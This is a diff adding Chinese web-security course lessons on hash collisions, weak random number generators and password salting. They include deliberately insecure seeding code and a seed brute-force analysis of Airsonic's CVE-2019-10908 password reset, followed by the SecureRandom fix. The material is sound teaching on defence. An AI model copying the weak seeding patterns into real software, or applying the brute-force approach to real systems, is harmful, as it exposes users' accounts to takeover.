进行简单的数学变换:
|
||||
|
||||
n(p,h) = (2h·ln(1/(1-p)))^1/2
|
||||
|
||||
|
||||
实际应用中,暂时我们以50%为标准,将0.5代入p:
|
||||
|
||||
n(0.5,H) = 1.1774 · (h ^ 1/2)
|
||||
|
||||
|
||||
抽象理解和安全验证边界
|
||||
|
||||
从抽象层面来看,生日攻击的理念类似于以空间换时间的攻击方式。主要原因是生日攻击的目标一般是HASH碰撞,而HASH计算的本质是将近乎无限的输入映射到定长或者有限长的hash串,这就注定了多对一的映射关系。因此,必然存在两个输入M1和M2能够满足HASH(M1)=HASH(M2),这其中的M1和M2就是我们定义的HASH碰撞攻击结果。
|
||||
|
||||
尤其值得注意的是,这里我们探讨的HASH碰撞与生日攻击,没有利用任何HASH函数内部的实现机制,因此这种攻击是具有通用型的,而防御方式也相对简单,只需要增加HASH的长度,提高攻击者的计算成本即可。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们学习了密码学相关的知识。
|
||||
|
||||
古代战争中使用的密令、密码本等都是密码学的一种缩影,它们大都可以划分到古典密码学分支。在现代密码学分支出现之前,古典密码学依靠加密算法的保密性,发挥了巨大的作用,并且诞生了以凯撒密码、维吉尼亚密码为首的一系列经典的替换式密码以及位移式密码算法。
|
||||
|
||||
随着算法研究的不断深入以及计算机算力的增长,经典密码学的安全性难以得到保障,于是诞生了现代密码学分支。在现代密码学分支中,根据加密/解密密钥是否相同又可以划分为对称加密算法与非对称加密算法,其中DES、AES、RC4等都是知名的对称加密算法,而RSA、椭圆曲线加密等都是知名的非对称加密算法。
|
||||
|
||||
在Web应用开发中,我们既会面临密码学相关技术的工程化风险,包括硬编码密钥、随机值重用、使用不安全的算法、可预测的初始化向量以及Padding相关的安全问题;也会面临理论层面比如HASH值空间碰撞风险。这些都需要我们了解并熟悉加密算法的原理,这样才能够很好的驾驭这架复杂又强大的机器。
|
||||
|
||||
相信通过本节课的学习,你已经构建了清晰宏观的密码学视角,在面对特定安全场景时能够处理得安全又不失优雅。密码学是一个快速发展的数学分支,深入地了解其中原理一定能够帮助你构建更加强大、安全、可靠的应用系统!
|
||||
|
||||
思考题
|
||||
|
||||
|
||||
你可以尝试使用卡西斯基试验破解维吉尼亚密码吗?
|
||||
你可以尝试计算我们日常使用的HASH能够抵御多少量级的碰撞攻击吗?
|
||||
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
385
专栏/Web漏洞挖掘实战/10弱随机数生成器:攻击者如何预测随机数?.md
Normal file
385
专栏/Web漏洞挖掘实战/10弱随机数生成器:攻击者如何预测随机数?.md
Normal file
@ -0,0 +1,385 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
10 弱随机数生成器:攻击者如何预测随机数?
|
||||
你好,我是王昊天。
|
||||
|
||||
上节课我们学习了密码算法的安全,有了设计优秀的密码算法,就像买了一扇牢固的防盗门,那么我们再也不用担心小偷了吗?
|
||||
|
||||
并不是这样,有了防盗门,我们还需要保管好钥匙才行。上节课我们一直在讨论防盗门的质量问题,而防盗门的钥匙,也就是密码算法所使用的密钥是如何生成的呢?这里就需要一个引入新的概念——随机数。
|
||||
|
||||
随机数的概念是很好理解的,但是实际操作起来却很难真的生成。
|
||||
|
||||
你一定玩过某一种棋牌类游戏,比如麻将、德州扑克这些,或者更简单的猜拳游戏也可以。考虑到每个人的游戏水平有高低,胜率一定会有些差异。在经常一起玩的朋友当中,一定有某个人在的时候你更容易赢,另外某个人在的时候你更容易输,而且这种输赢是具有统计意义上稳定性的,为什么呢?
|
||||
|
||||
因为在面对没有差异的选择时,你是有选择倾向性的,这种倾向性可能来自于你的回忆、你的幸运数字、你的生日等等。
|
||||
|
||||
所以,我们以为的随机数,往往没有那么随机。
|
||||
|
||||
随机数
|
||||
|
||||
我们来正式地认识一下随机数,这一概念在不同领域往往代表着不同的含义。我们一起来由浅入深地聊聊。
|
||||
|
||||
首先随机数最基本的概念是统计学意义上的伪随机数,对于给定的一个样本集,每个元素出现的概率是大概相似的,只要从人类的视角看上去一组数是随机的,就符合统计学意义上的伪随机数定义;因为统计学上的伪随机数,在给定随机样本和随机算法的情况下,能够有效地演算出随机样本的剩余部分,因此统计学上的伪随机数需要得到进一步地安全强化,密码学安全的伪随机数应运而生;而随机数的最终概念形态,则是真随机数,其定义是在满足前两个条件的基础上,再增加一个随机样本不可重现的条件。
|
||||
|
||||
然而,严格的真随机数是一种非常理想的形态,从真实情况来看,只要给定边界条件,真随机数其实并不存在。因为无论背景辐射、物理噪音还是抛掷硬币,只要经过非常精密的观察和测量,都是可以被预测的。但是在这些例子中,实际的边界条件非常复杂,而且是极难观测的,因此我们可以认为这些条件下产生的随机数是非常接近真随机数的伪随机数。
|
||||
|
||||
那么为什么随机数的随机性如此重要呢?因为在我们前一节课程中探讨过的密码算法需要大量随机数的参与,一旦随机数的生成可以被预测,任何加密算法都将失去意义。
|
||||
|
||||
随机数的生成
|
||||
|
||||
产生随机数的方法被称为随机数生成器(RNG, random number generator)。
|
||||
|
||||
在实际应用中我们往往使用伪随机就足够了,这些随机数主要通过一个固定的、可重复的计算方法生成,这些计算方法经过特殊的设计,使得产生的结果具有类似真随机数的统计学特征。这种生成的伪随机数一般只是重复的周期比较大的数列,以算法和种子值共同作用生成。这种生成伪随机数的方法叫伪随机数生成器(PRNG, pseudo-random number generator),进一步能够生成密码学安全随机数的方法叫密码学伪随机数生成器(CPRNG, cryptographic pseudo-random number generator)。
|
||||
|
||||
从实现的角度来看,伪随机数生成器会在函数内部维护一个状态,每个随机数的诞生,时都是从这个状态计算出来的,这个状态随着下一个随机数的生成而改变,而第一个状态则是由种子初始化得到。
|
||||
|
||||
|
||||
|
||||
在一些密码学关键设施中,会使用到真正的随机数,这些随机数往往由噪音、辐射等物理现象生成,这个过程中所使用的生成器叫物理性随机数生成器。
|
||||
|
||||
在了解随机数概念及其生成方案后,接下来我们来了解一下开发过程中会面临哪些随机数方面的安全风险。
|
||||
|
||||
无效的随机数
|
||||
|
||||
当我们在开发应用的过程中,如果所使用的随机数算法不够安全,比如使用了PRNG而并没有使用CPRNG,或者使用了不安全的种子值,就可能会使得攻击者能够猜测出下一个生成的随机数,进而凭借猜测的随机数发动攻击。至于PRNG究竟哪里不安全,我在后文的案例部分再向你详细介绍。
|
||||
|
||||
举个例子,如下代码尝试去为用户生成session值:
|
||||
|
||||
function generateSessionValue( $user ) {
|
||||
// 注释:设置种子值
|
||||
srand( $user );
|
||||
return rand();
|
||||
}
|
||||
|
||||
|
||||
由于代码中所使用的种子值每次都是不变的,因此该函数返回的session值也不会发生变化,攻击者可以利用该缺陷尝试劫持会话。
|
||||
|
||||
小空间种子选择
|
||||
|
||||
在上面描述的坏代码样本中,如果我们尝试去优化,那么方案是什么呢?
|
||||
|
||||
考虑到,这段代码存在的问题,是将种子值设定成了固定数值,那么为了解决这个问题,我们现在尝试将种子值,设置为随机数值:
|
||||
|
||||
function generateSessionValue( $user ) {
|
||||
// 注释:设置种子值
|
||||
$random_val = rand(0,9);
|
||||
srand( $random_val );
|
||||
// ...
|
||||
}
|
||||
|
||||
|
||||
这样的优化,是否会修复代码中不安全漏洞呢?答案是否定的,这种优化,只是小幅度提高了,漏洞利用的复杂程度。在上述代码中,由于random_val的取值空间过小,将会面临暴力破解攻击,攻击者只需要执行10次遍历,就可以找到被生成的随机数。
|
||||
|
||||
由于使用了取值空间很小的种子,这段代码将被暴露在暴力破解攻击中。要知道计算机是一种执行确定行为的机器,因此是无法生成真正的随机数的。虽然伪随机数生成器从算法设计层面满足了相似的随机性特征,但其一旦设定了种子值,其生成的随机数序列就是完全确定的。正因如此,我们要尽量确保种子值对于攻击者是不可预测的。
|
||||
|
||||
密码学安全的伪随机数
|
||||
|
||||
再进一步,我们将种子值的随机性放大,继续优化代码的安全性。
|
||||
|
||||
可以看到,如下代码使用Random.nextInt()函数来生成新的URL地址,其种子值由(new Date()).getTime()生成,该数值为1970年1月1日00:00:00 GMT至今的毫秒数,已经具备较强的随机性和不可预测性。那么,这是否能说明,这段代码已经安全了呢?
|
||||
|
||||
String generateUrl( String baseUrl ) {
|
||||
Random randomGen = new Random();
|
||||
randomGen.setSeed((new Date()).getTime());
|
||||
return (baseUrl + randomGen.nextInt(400000000) + ".html");
|
||||
}
|
||||
|
||||
|
||||
答案并非如此。Random.nextInt()函数是java.util.Random类的成员函数,而java.util.Random类是一个统计学意义上的伪随机数生成器,因此会更容易被攻击者猜测到生成的数值,对于安全性敏感的应用,建议使用密码学安全的随机数生成器java.security.SecureRandom。
|
||||
|
||||
案例实战
|
||||
|
||||
做了这么多年安全,有一句话我非常喜欢,“Talk is cheap, show me the code”。
|
||||
|
||||
很多高深的安全知识,讲出来似乎都十分有道理,但是实践起来往往不是那么回事。现在我们就来一起解答上面提到的问题:虽然推荐使用CPRNG,但是PRNG究竟哪里不安全了呢?知其然更要知其所以然,接下来我们就上干货,带你实战攻击伪随机数生成器!
|
||||
|
||||
这次我们以漏洞CVE-2019-10908为例,这是一个在Airsonic 10.2.1版本存在的漏洞。Airsonic是一个免费并且开源的产品,由社区驱动开发和维护,它是一个提供分享和访问多媒体流功能的Web应用。
|
||||
|
||||
该项目的RecoverController.java通过org.apache.commons.lang.RandomStringUtils来生成用户密码,而RandomStringUtils内部实现其实是使用了java.util.Random。这里引入了两个潜在的安全隐患,一方面Random类是PRNG,无法提供密码学安全的伪随机数生成;另一方面RandomStringUtils使用了48bit的种子,使其能够较容易地被攻击者爆破。
|
||||
|
||||
接下来我们从攻击种子的角度尝试进行漏洞利用,不过在判断对不对之前,要先判断是不是,因此在我们进行漏洞利用之前要先分析清楚是否真的存在这个漏洞。
|
||||
|
||||
首先来看一下Airsonic 10.2.1版本的源码:
|
||||
|
||||
package org.airsonic.player.controller;
|
||||
|
||||
// ...
|
||||
import org.apache.commons.lang.RandomStringUtils;
|
||||
// ...
|
||||
|
||||
// ...
|
||||
public ModelAndView recover(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
Map<String, Object> map = new HashMap<String, Object>();
|
||||
String usernameOrEmail = StringUtils.trimToNull(request.getParameter("usernameOrEmail"));
|
||||
|
||||
if (usernameOrEmail != null) {
|
||||
map.put("usernameOrEmail", usernameOrEmail);
|
||||
User user = getUserByUsernameOrEmail(usernameOrEmail);
|
||||
|
||||
boolean captchaOk;
|
||||
if (settingsService.isCaptchaEnabled()) {
|
||||
String recaptchaResponse = request.getParameter("g-recaptcha-response");
|
||||
ReCaptcha captcha = new ReCaptcha(settingsService.getRecaptchaSecretKey());
|
||||
captchaOk = recaptchaResponse != null && captcha.isValid(recaptchaResponse);
|
||||
} else {
|
||||
captchaOk = true;
|
||||
}
|
||||
|
||||
if (!captchaOk) {
|
||||
map.put("error", "recover.error.invalidcaptcha");
|
||||
} else if (user == null) {
|
||||
map.put("error", "recover.error.usernotfound");
|
||||
} else if (user.getEmail() == null) {
|
||||
map.put("error", "recover.error.noemail");
|
||||
} else {
|
||||
// 注释
|
||||
// 这行代码引入了潜在的安全风险
|
||||
String password = RandomStringUtils.randomAlphanumeric(8);
|
||||
// ...
|
||||
|
||||
|
||||
根据代码段中我添加的注释,我们继续分析RandomStringUtils:
|
||||
|
||||
package org.apache.commons.lang;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
public class RandomStringUtils {
|
||||
// 注释1
|
||||
private static final Random RANDOM = new Random();
|
||||
|
||||
public RandomStringUtils() {
|
||||
}
|
||||
// ...
|
||||
// 注释2
|
||||
public static String randomAlphanumeric(int count) {
|
||||
return random(count, true, true);
|
||||
}
|
||||
// ...
|
||||
// 老师加的注释3
|
||||
public static String random(int count, int start, int end, boolean letters, boolean numbers, char[] chars, Random random) {
|
||||
// ...
|
||||
|
||||
|
||||
在注释1部分,可以看到RandomStringUtils类在调用过程中会创建一个静态的成员变量RANDOM,在应用运行过程中,这个变量会一直存在。
|
||||
|
||||
在注释2部分,是randomAlphanumeric的函数实现,不断追踪函数调用栈可以发现最终调用了注释3部分的函数,而调用过程最后一个函数参数即是注释1部分创建的RANDOM变量,这一调用过程意味RANDOM是唯一一组随机数序列,只要我们判断出RANDOM序列即可执行攻击。
|
||||
|
||||
那么顺着思路,我们继续分析关键点——RANDOM。RANDOM是通过Random()创建的java.util.Random对象。如下是直接调用Random()生成新对象时的代码:
|
||||
|
||||
public Random() {
|
||||
this(seedUniquifier() ^ System.nanoTime());
|
||||
}
|
||||
|
||||
private static long seedUniquifier() {
|
||||
// L'Ecuyer, "Tables of Linear Congruential Generators of
|
||||
// Different Sizes and Good Lattice Structure", 1999
|
||||
for (;;) {
|
||||
long current = seedUniquifier.get();
|
||||
long next = current * 1181783497276652981L;
|
||||
if (seedUniquifier.compareAndSet(current, next))
|
||||
return next;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
可以看到在Random()函数内部执行了种子值的设置,而具体种子值的计算则是由一段数学运算得出。
|
||||
|
||||
接下来我们尝试写一个Demo程序,来搭建一个最简单的环境进行安全性分析:
|
||||
|
||||
import org.apache.commons.lang.RandomStringUtils;
|
||||
|
||||
public class Main {
|
||||
|
||||
public static void main(String[] args) {
|
||||
System.out.println("Hello World!");
|
||||
|
||||
String password = RandomStringUtils.randomAlphanumeric(8);
|
||||
|
||||
System.out.println(password);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
开启调试模式,然后断点下在Random()函数内部,通过IDEA集成的Expression查看功能,我们来看一下Random()所设置的种子值大概长什么样子:
|
||||
|
||||
|
||||
|
||||
通过多次执行Demo程序,我们可以发现seedUniquifier()的取值序列每次都是相同的,以下是我通过调试模式取出的数值:
|
||||
|
||||
8006678197202707420
|
||||
-3282039941672302964
|
||||
3620162808252824828
|
||||
|
||||
|
||||
考虑到种子值是由seedUniquifier() ^ System.nanoTime()计算得出,而seedUniquifier()的取值序列固定,因此种子值将取决于System.nanoTime()函数。继续通过Expression查看功能:
|
||||
|
||||
|
||||
|
||||
启用二进制模式查看:
|
||||
|
||||
|
||||
|
||||
可以发现System.nanoTime()的取值空间为48bit,取值范围为2^48=281474976710656≈2.8x10^14,这看起来并不是一个很大的数字,直观上存在爆破的可能性。那么我们再简单修改一下Demo程序,看一下我们电脑的算力如何:
|
||||
|
||||
import org.apache.commons.lang.RandomStringUtils;
|
||||
|
||||
public class Main {
|
||||
|
||||
public static void main(String[] args) {
|
||||
// write your code here
|
||||
System.out.println("Hello World!");
|
||||
|
||||
long startTime = System.nanoTime();
|
||||
|
||||
for (int i = 0; i < 100000000; i++) {
|
||||
String password = RandomStringUtils.randomAlphanumeric(8);
|
||||
}
|
||||
|
||||
long duringTime = System.nanoTime() - startTime;
|
||||
|
||||
System.out.println(duringTime);
|
||||
System.out.println(duringTime / 1000000000.0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
如下是执行结果:
|
||||
|
||||
Hello World!
|
||||
13950490348
|
||||
13.950490348
|
||||
|
||||
Process finished with exit code 0
|
||||
|
||||
|
||||
简单总结一下就是按照这个程序的执行速度,进行100000000也就是10^8次运算需要13.95秒。
|
||||
|
||||
有了这些基本数据,就很好进行分析了,简单的除法运算就能够分析清楚爆破所需时间:
|
||||
|
||||
2.8x10^14 / 10^8 * 13.95 = 3.9x10^7 秒 = 10833小时 = 451天
|
||||
|
||||
|
||||
虽然找到了攻击方案,并且根据算力情况评估出了攻击成本,但很明显这个耗时有些过长了,真实场景很难实施,因此我们需要想办法降低时间消耗。
|
||||
|
||||
既然考虑到了效率优化,就需要关注一下我们上面所构建的Demo程序是否已经实现效率最大化。从代码逻辑上来看,很明显Demo程序是一个单进程单线程应用,可是我的电脑的CPU核心应该是8核16线程,因此我们可以从这个角度入手去提升它的效率优化空间。从Demo程序执行时的CPU占用率也可以看得出,在运行期间事实上仅有一个核心达到了100%占用:
|
||||
|
||||
|
||||
|
||||
于是我决定优化一下程序执行逻辑,并预期可以取得16倍的性能提升:
|
||||
|
||||
package org.example;
|
||||
|
||||
import org.apache.commons.lang.RandomStringUtils;
|
||||
|
||||
import java.util.Random;
|
||||
import java.util.stream.IntStream;
|
||||
import java.time.Instant;
|
||||
import java.time.Duration;
|
||||
import java.security.SecureRandom;
|
||||
|
||||
public class Main {
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args.length != 2) {
|
||||
System.out.println("must be 2 arguments");
|
||||
return;
|
||||
}
|
||||
int from = Integer.parseInt(args[0]);
|
||||
int to = Integer.parseInt(args[1]);
|
||||
System.out.println("from " + from + " to " + to);
|
||||
System.out.println(Runtime.getRuntime().availableProcessors());
|
||||
|
||||
eval("sequential", () -> {
|
||||
for (int i = 0; i <= 100000000; i++) {
|
||||
new RandomStringUtilsTest(i).randomAlphanumeric(8);
|
||||
}
|
||||
});
|
||||
|
||||
eval("parallel", () -> {
|
||||
IntStream.range(0, 100000000).parallel().forEach(i -> new RandomStringUtilsTest(i).random(8));
|
||||
});
|
||||
}
|
||||
|
||||
public static void eval(String task, Runnable runnable) {
|
||||
Instant start = Instant.now();
|
||||
runnable.run();
|
||||
Instant end = Instant.now();
|
||||
System.out.printf("%s spend %s%n", task, Duration.between(start, end));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
从输出结果可以发现并行计算下的效率大约是串行计算的16倍:
|
||||
|
||||
from 1 to 100000
|
||||
16
|
||||
sequential spend PT15.235S
|
||||
parallel spend PT1.826S
|
||||
|
||||
Process finished with exit code 0
|
||||
|
||||
|
||||
再观察一下执行期间的CPU占用,可以发现CPU确实是全核心在运行的。
|
||||
|
||||
|
||||
|
||||
这里仅以我的个人计算机为例进行模拟攻击的时间测算,在实际应用场景中,我们完全可以通过调度云端计算机使上百核心的并发计算,我们以128核心为例:
|
||||
|
||||
451天 / 128 ≈ 3.5天
|
||||
|
||||
|
||||
可以发现在上面这种情况下,我们只需要3.5天即可完成针对该漏洞的攻击。
|
||||
|
||||
值得展开讨论的是,虽然在上述情况中我们可以成功进行攻击,但是实际情况往往会更加复杂,比如我们已知的随机数已经是生成的第几百个随机数,这种情况下由于需要产生较长的随机数序列进行匹配,将会导致更大的计算量。但是这种计算量增长都是线性的,我们仍然可以根据需求选择能够负载的时间和金钱成本,顺利完成攻击。
|
||||
|
||||
安全实践
|
||||
|
||||
以CVE-2019-10908为例,我们来看一下开源项目的修复方案。
|
||||
|
||||
首先从包的使用方面,取消了org.apache.commons.lang.RandomStringUtils的使用,并且替换为java.security.SecureRandom,根据名字很容易判断新替换的包是一个密码学安全的伪随机数生成器,该随机数生成器从算法设计角度上是密码学安全的,同时内部所使用的种子值强度也会更高。
|
||||
|
||||
然后在代码实现层面,放弃了原有的RandomStringUtils.randomAlphanumeric函数,转为使用新的代码实现:
|
||||
|
||||
private static final String SYMBOLS = "abcdefghi jklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
|
||||
private final SecureRandom random = new SecureRandom();
|
||||
private static final int PASSWORD_LENGTH = 32;
|
||||
// ...
|
||||
StringBuilder sb = new StringBuilder(PASSWORD_LENGTH);
|
||||
for(int i=0; i<PASSWORD_LENGTH; i++) {
|
||||
int index = random.nextInt(SYMBOLS.length());
|
||||
sb.append(SYMBOLS.charAt(index));
|
||||
}
|
||||
String password = sb.toString();
|
||||
|
||||
|
||||
简单来说,就是在开发过程中要通过安全的加密库来使用CPRNG。在不同语言中涉及的模块会有一些差异,比如Linux或者MacOS中,大部分加密库内部都依赖于/dev/random或/dev/urandom这两个随机源;在Windows中可以使用Crypto API或者BCryptGenRandom;在C#中可以使用System.Security.Cryptography.RandomNumberGenerator;在Python中可以使用os.urandom或secrets库;在Java中则可以使用我们本节课介绍的java.security.SecureRandom。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们学习了随机数相关的知识。
|
||||
|
||||
虽然物理世界充满了不确定性和随机性,但是计算机世界并非如此。计算机是一种执行确定计算过程的机器,我们在开发过程中使用的随机数基本都是由软件算法生成的伪随机数。但即使是伪随机数,也有安全和不安全之分。
|
||||
|
||||
常规的伪随机数生成器又称PRNG,是基于概率设计的;而为了保证安全则需要使用密码学意义上伪随机数生成器,这种生成器又叫CPRNG。这些经过PRNG或CPRNG生成的数字,可以理解为重复周期非常大的序列,因此能够满足随机性需求。而既然是序列,就一定会有一个开始,这个开始值的产生由种子值确定,这个种子我们又称之为seed。
|
||||
|
||||
在考虑到PRNG以及CPRNG算法安全的情况下,种子值的安全成为了关键要素,因为一旦种子值可以被预测则生成的所有随机数都将可以被预测。由此引发的一系列安全风险包括无效的随机数、小空间种子值以及非密码学安全的随机数生成器等。
|
||||
|
||||
虽然围绕密码学和随机数展开的攻击案例并不多见,但是本节课我们以CVE-2019-10908为例进行了真实的随机数层面的攻击,从实战过程可以发现这类攻击要求攻击者具备足够深厚的密码学和随机数相关的知识,同时需要具备一定的开发功底。正因如此,许多开发者并未重视这类安全问题,与CVE-2019-10908相似的安全风险仍普遍存在于许多应用中。
|
||||
|
||||
关于随机数方面的安全建议,仍然可以参考CVE-2019-10908的开源项目更新方案,从安全库的使用及随机数生成过程两个方面共同优化。
|
||||
|
||||
也许你会觉得本节课程中涉及的漏洞利用过程稍有复杂,不过别担心,随着课程的不断更新,在后续课程中你将学会搭建和使用属于自己的个性化智能攻防对抗系统,这将大幅度降低类似攻击过程的复杂度及难度,让你的安全能力持续积累、快速提高。
|
||||
|
||||
思考
|
||||
|
||||
本节课我们以CVE-2019-10908为例研究了随机数攻击中的种子爆破攻击,你可以尝试从PRNG v.s. CPRNG的角度分析其安全缺陷吗?
|
||||
|
||||
欢迎你在评论区留下自己的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
287
专栏/Web漏洞挖掘实战/11忘记加“盐”:加密结果强度不够吗?.md
Normal file
287
专栏/Web漏洞挖掘实战/11忘记加“盐”:加密结果强度不够吗?.md
Normal file
@ -0,0 +1,287 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
11 忘记加“盐”:加密结果强度不够吗?
|
||||
你好,我是王昊天。今天我来和你一起来聊聊“盐”。
|
||||
|
||||
什么是盐?
|
||||
|
||||
食盐是一种调味品,可以在烹饪食物时添加到菜肴中,给寡淡的食材增添风味。恰好我对烹饪也有一点研究,所以对食盐的作用也稍有理解。食盐是菜品中咸味的主要来源,在烹饪中加入适量的食盐,一方面可以提鲜,另一方面也可以去除掉原料的一些异味。
|
||||
|
||||
那么盐和安全有什么关系呢?
|
||||
|
||||
盐又称为Salt,在密码学中我们常常会用到散列算法对字符串进行处理,散列算法可以为数据创建相对精简的数据指纹,具体我们会在后面详细介绍。为了提高安全性,在进行散列操作之前会对字符串进行一些拼接、混淆操作,这个过程我们就称为“加盐”。虽然不知道“加盐”的本意是否如此,但加盐处理字符串的过程与使用盐处理食物的过程非常相似,一方面去除了字符串本身的特征,另一方面增强了字符串的复杂度。
|
||||
|
||||
经过加盐处理的散列结果与未加盐处理的散列结果,极大概率是不相同的,这一过程大大提高了散列算法的安全性。
|
||||
|
||||
HASH
|
||||
|
||||
在了解调味品该如何使用之前,我们要先了解原材料是什么。因此,在了解如何用盐之前,我们先来了解HASH函数是什么。
|
||||
|
||||
HASH函数,又称散列函数,是为一段数据创建数字指纹的方法,创建生成的数字指纹叫散列值。由于经过了压缩,它的长度较原始输入短了很多,因此我们也称之为摘要。
|
||||
|
||||
由HASH函数计算出来的散列值具有不可逆的特性,这里说的不可逆,是指攻击者无法从散列值进行逆向推导,进而获得原始输入。得益于不可逆特性,在Web业务系统开发过程中,我们通常使用散列值作为用户密码存储进数据库。在这种情况下,Web业务系统既可以校验用户密码的正确性,又无法真正得知用户密码明文。
|
||||
|
||||
HASH的应用
|
||||
|
||||
HASH函数具备很多优秀的特性,比如计算不可逆、难以伪造、数据压缩等,因此它具备很多应用场景。
|
||||
|
||||
基于计算不可逆和难以伪造这两个优秀的安全特性,HASH函数的一个主要应用场景,就是校验数据传递的完整性。将要传递的数据作为HASH函数的输入,生成散列值A;再在接收端将A作为HASH函数的输入,生成散列值B。通过对比A和B,就可以快速判断出数据传输的完整性和数据的真实性。
|
||||
|
||||
许多官方发布的应用、开发组件和二进制可执行程序,都会在下载链接旁边附上对应的散列值,方便终端用户在下载完成之后进行对比。这种方式可以保证终端用户,即使遭遇了DNS污染,中间人攻击,或者官方遭遇入侵导致安装包被替换的情况,也可以清晰地判断出恶意应用。
|
||||
|
||||
这是一个我经常玩的游戏(没有收广告费),在官网下载链接页面可以看到提供的MD5散列值:
|
||||
|
||||
|
||||
|
||||
下载之后要如何操作呢?其实是非常简单的,以Mac OS为例,在Terminal里已经集成了md5命令,我们可以通过md5命令快速计算出一个文件的md5散列值,将其与官网展示的散列值进行对比即可:
|
||||
|
||||
|
||||
|
||||
基于数据压缩特性,则会有散列表和错误校正等应用场景。
|
||||
|
||||
散列表是一种开发中常用的技术手段,它通常被用来根据关键字快速查找数据记录。比较形象的例子是字典,它的关键词是英文单词,而完整的记录则包含了单词的拼写、音标、解释以及例句,这个场景可以理解为一种,从完整的数据记录到单词的映射关系。
|
||||
|
||||
|
||||
|
||||
错误校正,是开发中常用的另一种技术手段,在数据传输、存储的过程中经常会用到。在数据传输、存储的过程中,由于信号的干扰、物理介质的不稳定性等原因,经常会出现数据错误的情况。这时,我们可以通过计算散列值的方法来判断数据完整性,这种方案就称为冗余校验。更进一步,我们甚至可以通过定义不同的HASH函数,使得冗余校验具备纠错能力。
|
||||
|
||||
盐
|
||||
|
||||
用户账户认证过程,通常涉及到密码的存储,这就是盐的主要应用场景之一。
|
||||
|
||||
我们都知道,密码的存储通常是放在数据库中,关于密码的存储形态有很多种,通常可选的方案包括明文、散列值等。
|
||||
|
||||
如果采用明文存储的方案,一旦发生了入侵事件,或者系统存在漏洞使得数据库外泄,就会导致大规模的用户账户外泄,这种安全事件是灾难性的。所以目前大部分系统采取的方案都是存储散列值,在这种情况下,即使是系统也无法得知用户的密码是什么。
|
||||
|
||||
通常在采用存储散列值的情况下,系统会通过比较散列值来认证用户。系统通过用户输入获得密码后,会让密码经过HASH函数处理产生一个散列值,并将该散列值与存储在数据库中的散列值进行对比,如果相同则表示认证成功。
|
||||
|
||||
我们可以设想一下,在这种方案下,即使黑客通过漏洞成功获得了数据库内的全部数据,他获得的,也仅仅是密码经过HASH函数运算得出的散列值,而这个散列值并不能够帮助他登录系统。
|
||||
|
||||
暴力破解和字典攻击
|
||||
|
||||
为了达到登录的目的,黑客必须找到一段数据,这段数据的HASH运算结果需要与黑客获得的散列值一致。此时黑客可选的方案是暴力破解、字典攻击和彩虹表攻击。
|
||||
|
||||
这三种攻击方式执行的难度由简单到困难,效果也是从差到好。暴力破解和字典攻击的实施过程都非常简单,基本思路都是通过遍历用户密码所有取值来直接找到答案,区别是暴力破解采用遍历的方式是实时计算,而字典攻击会根据预先计算好的结果直接查找。虽然这两种方案执行上非常简单,但实际操作效果却并不理想,主要原因是用户密码的取值空间过于庞大。
|
||||
|
||||
这里我们通过简单的计算,来对取值空间有一个更加直观的认识。一般用户密码的单字符可选范围是26个小写字母、26个大写字母、10个数字以及少数特殊字符,我们假设用户密码是8位(要知道8位密码并不算强度很高的设置),那么经过计算,密码合计取值范围就是72万亿。
|
||||
|
||||
单字符取值范围 ≈ 26 + 26 + 10 + 10 = 72
|
||||
8个字符的密码取值空间 = 72 ^ 8 = 722204136308736 ≈ 72万亿
|
||||
|
||||
|
||||
按照每秒能够计算100万个密码的散列值来计算,需要大约8358天,相当于22.9年才能完成密码空间的遍历,很显然这种攻击是无法真正实施的,因此暴力破解攻击无效。
|
||||
|
||||
722204136308736 / (1000000 * 3600 * 24) ≈ 8358
|
||||
|
||||
|
||||
按照每个8位密码占据8个字节的存储空间来计算,72万亿的密码空间大约会占据5254TB的存储空间,很显然这种攻击也是无法真正实施的,因此字典攻击也是无效的。
|
||||
|
||||
722204136308736 * 8.0 / (1024 * 1024 * 1024 * 1024) ≈ 5254
|
||||
|
||||
|
||||
综合上面的分析,我们可以发现,暴力破解没有空间占用但时间消耗过大,而字典攻击几乎没有时间占用但空间消耗过大。因此,为了有效地对散列值进行攻击,我们需要一种更可行的方案。在这种方案里,我们能够接受多一些的解密时间,但希望它不要占用过大的空间。目前,这种平衡了时间和空间的攻击方案就是彩虹表攻击。
|
||||
|
||||
彩虹表攻击
|
||||
|
||||
HASH链
|
||||
|
||||
以字典攻击为基础,通过算法设计来实现时间换取空间的效果,就是彩虹表攻击的原理。
|
||||
|
||||
彩虹表攻击中所涉及的算法就是预计算的HASH链。
|
||||
|
||||
为了实现预计算的HASH链,我们需要一个新型函数的辅助,一般会称之为归约函数或者约简函数。但是千万不要为这个名字感到困惑,它其实并没有真实地表达什么含义,你可以简单地理解为一个新函数R。R函数与HASH函数执行相反的运算流程,比如,HASH函数将原始输入映射到HASH散列值,而R函数则是将HASH散列值映射回原始输入,并且R函数的映射关系是可以任意指定的。
|
||||
|
||||
接下来我来带你实际构建一个HASH链,在这个过程中,你将对稍显复杂的彩虹表攻击有更直观的理解。
|
||||
|
||||
以MD5散列为例,首先我们随机选择一段明文talentsec并对其取md5散列,获得结果6f66114d09e7b9ddbfa8b286ea1e57a7,接下来我们按照自己的喜好定义一个R函数,并且使用R函数对散列值6f66114d09e7b9ddbfa8b286ea1e57a7进行运算,获得结果aaaaaaaaa。继续重复上述过程,即不断使用HASH函数和R函数进行计算,产生的如下链条就是HASH链:
|
||||
|
||||
|
||||
|
||||
